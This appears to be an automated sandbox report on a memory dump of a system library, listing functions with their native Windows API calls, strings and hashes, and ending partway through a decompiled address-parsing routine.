API ID: CriticalSection$EnableEnterEventLeaveRedirectionWow64
String ID:
API String ID: 355146318-0
Opcode ID: 2316f1349eac37b1f63c42b86ada6fc5182309cb49b119b828d76e69864a2cb0
Instruction ID: 33defb6bd63cd7642c90e67ed5ef22d80c0f8fbb208ee212db382c374771be11
Opcode Fuzzy Hash: 2316f1349eac37b1f63c42b86ada6fc5182309cb49b119b828d76e69864a2cb0
Instruction Fuzzy Hash: 9101D670D451489EEF01DA788880BCEFAF5AB0731DF584165D53063E51C73959C6CBA7

Uniqueness

Uniqueness Score: -1.00%

Function 6C0AEB8A, Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 599timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,6C0C2783,00000001,?,00000000,?,?,?,?,6C05FC15), ref: 6C0AEBB6
RtlGetCurrentServiceSessionId.1105(?,?,?,6C0C2783,00000001), ref: 6C0AF23E

Strings

@, xrefs: 6C0AF10A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDebugPrintServiceSessionTimes
String ID: @
API String ID: 358024996-2766056989
Opcode ID: a9d6713cca9f3420f017ec9ccd97c8f956be8b2699698fb2fa4e7228717fdf90
Instruction ID: 450f80f68fc2acb6ec8e3cab08cb3cfd989522f4ea36534142b8393d9dcebea9
Opcode Fuzzy Hash: a9d6713cca9f3420f017ec9ccd97c8f956be8b2699698fb2fa4e7228717fdf90
Instruction Fuzzy Hash: E03212702056619BEB14CFE9C090776B7E1FF05308F54859AE8A58FA87D735E863CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C040E21, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000618,?,?), ref: 6C040EDA
RtlRaiseException.1105 ref: 6C07CC58

Strings

Flst, xrefs: 6C040E63

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateExceptionHeapRaise
String ID: Flst
API String ID: 3789339297-2374792617
Opcode ID: 519d44c68ae745ef7fc0e3491f2bba7b664f64b730dbee4b7925924bcd4be2cd
Instruction ID: d3e8e5d10c6b8d72bfb7c053a339b8ed5755936df1d58a51441f3168078353cd
Opcode Fuzzy Hash: 519d44c68ae745ef7fc0e3491f2bba7b664f64b730dbee4b7925924bcd4be2cd
Instruction Fuzzy Hash: 8241CAB060A301CFC314CF19C580B1AFBE4EF59B08F64866EE459DBA80DB31D885CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6C002240, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99memorytimeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000034,?,?,?,?,?,?,?,?,?,6C0DF350,0000004C), ref: 6C0022AC
TpAllocTimer.1105(00000020,6C0D9440,00000000,00000003,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 6C00235A

Strings

(, xrefs: 6C002328

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocAllocateHeapTimer
String ID: (
API String ID: 2926205940-3887548279
Opcode ID: f0cade0eef9e54e6f6de90de20369e77847e07830b9b342c3abc2f1b38d48e42
Instruction ID: 68800d6f3eb8f45c0256083b9dc8ae5f95bb4ea287e55e968d53d366d98e52c7
Opcode Fuzzy Hash: f0cade0eef9e54e6f6de90de20369e77847e07830b9b342c3abc2f1b38d48e42
Instruction Fuzzy Hash: 0B4112B0E15259DFDB04CF98C584BCDBBF8BB08718F11421AE444A7B40C7B4A955CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6C0066D4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6C0066F5
ZwQueryValueKey.1105(?,?,00000002,?,00000014,?,?,UBR,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6C00670B

Strings

UBR, xrefs: 6C0066EE

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitQueryStringUnicodeValue
String ID: UBR
API String ID: 3766860702-3525060630
Opcode ID: 69f7408d81c5c5411b76856ac2e9cee8389b144b8dd9a60db1db6fca7927e3f8
Instruction ID: a27990d02c4dd2e0fa08f6cb5f03d2c7678eb8d320d7ec599d2f65e25fc418f9
Opcode Fuzzy Hash: 69f7408d81c5c5411b76856ac2e9cee8389b144b8dd9a60db1db6fca7927e3f8
Instruction Fuzzy Hash: DB011A72A0410DEFEB00CF998901AEFB3FCEB45715F514566E905E7500E771EA4587A2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B8DF1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,Critical error detected %lx,?,6C0E0D50,00000074,6C0C20A2,?,?,6C0BFFAF,00000001,00000020,6C0F58C0,00000000), ref: 6C0B8E2A
RtlRaiseException.1105(?), ref: 6C0B8E74

Strings

Critical error detected %lx, xrefs: 6C0B8E21

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionPrintRaise
String ID: Critical error detected %lx
API String ID: 1813208005-802127002
Opcode ID: 341a5d868cbc4d35a212f9fe2e758c623b74720b0269c476e93cf12c0dc19b98
Instruction ID: 905aa37dee7819f1495f6f2e1b0071b0bf23c5762a18dc1f728dc290b2467b88
Opcode Fuzzy Hash: 341a5d868cbc4d35a212f9fe2e758c623b74720b0269c476e93cf12c0dc19b98
Instruction Fuzzy Hash: 06115375D45349EBDB15CFA88A017CCBBF0AB04318F24425EE028ABBA2C3351602CF14

Uniqueness

Uniqueness Score: -1.00%

Function 6C0CE2C5, Relevance: 4.7, APIs: 3, Instructions: 202COMMON

Download Yara Rule

APIs

_aullshr.1105(-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000,00000000,?,?,6C0C2783,00000001), ref: 6C0CE325
RtlAcquireSRWLockShared.1105(0000000C,-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000), ref: 6C0CE45E
RtlReleaseSRWLockShared.1105(0000000C,0000000C,-00000044,?,?,00000000,00000000,?,00000001,00000000,00000000), ref: 6C0CE48D

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease_aullshr
String ID:
API String ID: 815091738-0
Opcode ID: 84bbc9af1b41b142d5e6d0ae7d3d83f40f8fa8fcdd0f0724cf9c9e78f4b0eb23
Instruction ID: d8501c7725cc1594060fd55143a582d96338ec847678a9f1b04020241e8f84cb
Opcode Fuzzy Hash: 84bbc9af1b41b142d5e6d0ae7d3d83f40f8fa8fcdd0f0724cf9c9e78f4b0eb23
Instruction Fuzzy Hash: 9461B571F045198B8B14CFA9C8816ADB7F6FB89324724436AD435E7BC0D734A942CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6C03E730, Relevance: 4.6, APIs: 3, Instructions: 89memorynativeCOMMON

Download Yara Rule

APIs

ZwQueryInformationProcess.1105(000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6C09FF7D,6C0E09B0,00000014,6C01EBD8,?,?,?,00000000), ref: 6C03E742
RtlRaiseStatus.1105(00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6C09FF7D,6C0E09B0,00000014,6C01EBD8,?,?,?,00000000), ref: 6C03E765
RtlAllocateHeap.1105(?,?,?,?,FFFFFFFE,?,?,00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6C09FF7D), ref: 6C03E7A3

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapInformationProcessQueryRaiseStatus
String ID:
API String ID: 1560743067-0
Opcode ID: 66b48fc2310889183e1af00fef00a2a46e560e3a5ea011171f4c4bb2ad0ef37b
Instruction ID: 25432b5da29bb1a87ceb368036f03f41a3da4f4a86464bee2a033297cb8775dd
Opcode Fuzzy Hash: 66b48fc2310889183e1af00fef00a2a46e560e3a5ea011171f4c4bb2ad0ef37b
Instruction Fuzzy Hash: 77315975A5424AAFD744CF68C845B8ABBE8FB09314F1482A6F918CB741D631ED90CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D1D55, Relevance: 3.2, APIs: 2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c7b2ac35fb819470ad4a5d186ab4dd428479052d93d3ddd97ca6293bcd822b1
Instruction ID: b1a0c7798dc8bdb172ae87ff6db6b2bd769a551f3cebc62d686365f8b8297e09
Opcode Fuzzy Hash: 3c7b2ac35fb819470ad4a5d186ab4dd428479052d93d3ddd97ca6293bcd822b1
Instruction Fuzzy Hash: 4B814C71E052198FDF08CFA8C580AECB7F2BF49328B654369E415ABB94DB31E945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BE7FF, Relevance: 1.8, APIs: 1, Instructions: 260COMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,?,0000EEEE,?,?,6C0BF2A5,?,?,00000000,?,?,00000001,?,00000200,?,?), ref: 6C0BE88A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode
String ID:
API String ID: 4228678080-0
Opcode ID: 59a6f8b926768a8bde032faa34c83d357d29b491f605c620ce6a5eb14bb92018
Instruction ID: dc3592acd60daf84007a28b338330b59ac3566d6d69e7bb2788fd18baf0003a4
Opcode Fuzzy Hash: 59a6f8b926768a8bde032faa34c83d357d29b491f605c620ce6a5eb14bb92018
Instruction Fuzzy Hash: D4A1BB35E016199BCF14CFA8D4406EEBBF9FF5A704F14406AD821B7B40E732A949CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C026E30, Relevance: 1.7, APIs: 1, Instructions: 481COMMON

Download Yara Rule

APIs

memset.1105(01000000,00000000,?,?,00000024,00000000,?), ref: 6C026F17

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 1226f8583dbe76ba219ae99a1fa1fe86d71f18e69cf49556646064e344cd238b
Instruction ID: 3068778dc5bd18fabb350f26376689b22c4ea6d91cc5f80321d6907a7e261f37
Opcode Fuzzy Hash: 1226f8583dbe76ba219ae99a1fa1fe86d71f18e69cf49556646064e344cd238b
Instruction Fuzzy Hash: D9028B70D15229CBCB24CF9DC480BADB7F5EF49704F61812EE815EBA90E7789895CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6C0335D0, Relevance: 1.7, APIs: 1, Instructions: 209COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.1105 ref: 6C0760B6

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorStatus
String ID:
API String ID: 1596131371-0
Opcode ID: 735162e8ec74e3958fcbb26956c1e80a52c7bbcfea50a8fbb445095b677843cc
Instruction ID: ca5af5c7332cdaeb801ddabfbdc1a38407617ae6af3429117ea0712e5336f239
Opcode Fuzzy Hash: 735162e8ec74e3958fcbb26956c1e80a52c7bbcfea50a8fbb445095b677843cc
Instruction Fuzzy Hash: B8614B703046219FE7288E2AC49477BB3E5AB89718F54C619E897CBEC0DB74E446CB74

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C67E2, Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7867415f02d7bcc8f06e3e02f11dd043396db55a33c4ef0c84b11e687bcf50b6
Instruction ID: de270b95a597161140f87057fa4be1b16f71142af265ccad195414968cc33881
Opcode Fuzzy Hash: 7867415f02d7bcc8f06e3e02f11dd043396db55a33c4ef0c84b11e687bcf50b6
Instruction Fuzzy Hash: 380202347046518BD724CF2AC08037DBBF1EF46304B54C69AE8E5CBA81D735E996DB62

Uniqueness

Uniqueness Score: -1.00%

Function 6C01B090, Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction ID: e46b26d6b3572d3020e1b59e9a5f2f6a7abec2a064350c555eee9f1add3a7472
Opcode Fuzzy Hash: 0ec6c5e2d367d18b84ee964be1aa1d3b822183ad02e3793e91df51d62079f2cb
Instruction Fuzzy Hash: 81D1C1B174D2568BD711CEAAC98035EF7F1AF86728B7982A8EC64CBF41E731D8418750

Uniqueness

Uniqueness Score: -1.00%

Function 6C000D20, Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dfd7375298c44f943709fc11f237eef1461db1d32fc7c0c8d317e0931ec0888
Instruction ID: 54a1528aef91598fb9032afd780cb3bd0a09f0f18b8d6c37aced37dd2d01502e
Opcode Fuzzy Hash: 4dfd7375298c44f943709fc11f237eef1461db1d32fc7c0c8d317e0931ec0888
Instruction Fuzzy Hash: 93D1C031F082D98BFB088F99C5903EDB7F1EB4530CF664129D8A1A7E85D7789981CB41

Uniqueness

Uniqueness Score: -1.00%

Function 6C038840, Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25fa1d701f9cefb6730978020afc144c1af5272ab21e7fe31dbec40dfb96f6a2
Instruction ID: cba5c906e08ea87ecfdbb5fefa64653cd5d15162d4b8d4d9c0bf68a3f94606c1
Opcode Fuzzy Hash: 25fa1d701f9cefb6730978020afc144c1af5272ab21e7fe31dbec40dfb96f6a2
Instruction Fuzzy Hash: 98B13A32B546258BDB1C8A18C86536E23E3EFC6314F5D93ABC916DFFD8D63849018356

Uniqueness

Uniqueness Score: -1.00%

Function 6C03EBB0, Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction ID: f3daa419ee16151d83fad57eddbe9982d36b1766890d5f6bd11d4ebc7c0d4e85
Opcode Fuzzy Hash: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction Fuzzy Hash: 6D81AB21A482678BEB254E6CC8D039DBBE4EF53304F28137AD8558BF41C228CD42C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 6C02AB40, Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b74761f2ea1fcc972ea3be7313015af3bb2df1b7684359ae005863ba6519332
Instruction ID: a413fd6c19a9c07b62662d78a0499aa5e76474c9be230a6b37e1879b28af3952
Opcode Fuzzy Hash: 7b74761f2ea1fcc972ea3be7313015af3bb2df1b7684359ae005863ba6519332
Instruction Fuzzy Hash: EC810431A00219CBDB14CE69C89076EB7F1FF85319F754299D8919FB81DA38ED45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BFA2B, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f64400da27830b4cfba77528e7972476e0890653c2df0bcc4675dd6acead5d
Instruction ID: d9e61826936a9163a7a27f63970bf964080b650b6a8fb9831fd16f514d67e076
Opcode Fuzzy Hash: 50f64400da27830b4cfba77528e7972476e0890653c2df0bcc4675dd6acead5d
Instruction Fuzzy Hash: 3E819F7C9042459FDB08CF59C560BAEF7F9FB09348F54825AE854BBA81D336A881CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C1002, Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff06cb0be16323548ebcfaa3e71b26e9aaf1ac714ca89273abac65a14a986e75
Instruction ID: 8a8e29c7197f09dc865e18900b9df95e13f93ac925c56133a57e33f2c4193b91
Opcode Fuzzy Hash: ff06cb0be16323548ebcfaa3e71b26e9aaf1ac714ca89273abac65a14a986e75
Instruction Fuzzy Hash: 5871AA38B01662CBDB14CF5AC49037EB3F1FB44708B70886ED9A297A40D7B5E991DB52

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D32A9, Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20ee774494046046280adda3782dfed0403fe2d61df81699da870fec776d8cab
Instruction ID: 575d3e4cc0f2bc184dc8e5d6e8c16676ea2f99e4dd755a3e3a75d0c1260e2bd8
Opcode Fuzzy Hash: 20ee774494046046280adda3782dfed0403fe2d61df81699da870fec776d8cab
Instruction Fuzzy Hash: 8B21D332B183054FD718CE29D98076AB7F6FF89314B964578DA11C7985DB70F886C790

Uniqueness

Uniqueness Score: -1.00%

Function 6C03ABD8, Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4485f182b052dc28060a204f4b98fffdbd710f7e71cb1a9f571041eb4735c73
Instruction ID: 21c9a4d68ed98c64f98998a92f5eca5661d46ed1ae0717094232b95f7e206f37
Opcode Fuzzy Hash: d4485f182b052dc28060a204f4b98fffdbd710f7e71cb1a9f571041eb4735c73
Instruction Fuzzy Hash: AE2105302106279BCF18CF69C4807E2B7E5FBD6308F70921AD4D987A81D321B806CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C036B90, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction ID: fd9e9e9736a763bc8ac6d883423b1882a87908fb14fe436d304c4ecf5d72fd65
Opcode Fuzzy Hash: 81643371c3d383621713f4ac5897031efe5d79de90dbf9db909a2b6cb50fdbef
Instruction Fuzzy Hash: DDF044B5A0521ADFDB18CE49C690BACB7F1FB44314F2451A8E91ADBB00D679AE80DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6C006CA0, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6C006CA0(intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr* _t51;
				void* _t52;
				signed int _t54;
				signed short _t58;
				signed short _t59;
				void* _t60;
				signed short _t61;
				signed short _t62;
				signed short _t63;
				signed short _t69;
				signed short _t73;
				signed short _t74;
				signed short _t75;
				signed int _t82;
				intOrPtr _t83;
				signed short _t84;
				signed short _t86;
				signed short _t87;
				signed int _t88;
				void* _t92;
				signed int _t97;
				short _t98;
				signed short _t99;
				signed short _t101;
				signed short _t102;
				char _t103;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;
				signed int _t118;
				intOrPtr* _t122;
				void* _t123;
				void* _t125;
				signed int _t127;
				signed int _t129;
				signed int _t130;
				signed short _t134;
				signed int _t136;
				intOrPtr* _t139;
				void* _t146;

				_t51 = _a4;
				if(_t51 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t52 = 0xc000000d;
				} else {
					_t103 =  *_t51;
					_t97 = 0;
					_v12 = 0;
					_v20 = 0;
					_v5 = _t103;
					_t146 = _t103 - 0x5b;
					if(_t146 == 0) {
						_t51 = _t51 + 1;
						__eflags = _t103 - 0x5b;
					}
					_v6 = _t146 == 0;
					if(E6C006D10(_t51,  &_v16, _a8) >= 0) {
						_t139 = _v16;
						_t54 = 0xa;
						__eflags =  *_t139 - 0x25;
						if( *_t139 != 0x25) {
							L22:
							__eflags =  *_t139 - 0x5d;
							if( *_t139 != 0x5d) {
								L51:
								_t98 = _v12;
								goto L52;
							} else {
								__eflags = _v5 - 0x5b;
								if(_v5 != 0x5b) {
									goto L6;
								} else {
									_t139 = _t139 + 1;
									_v6 = _t97;
									__eflags =  *_t139 - 0x3a;
									if( *_t139 != 0x3a) {
										goto L51;
									} else {
										_t139 = _t139 + 1;
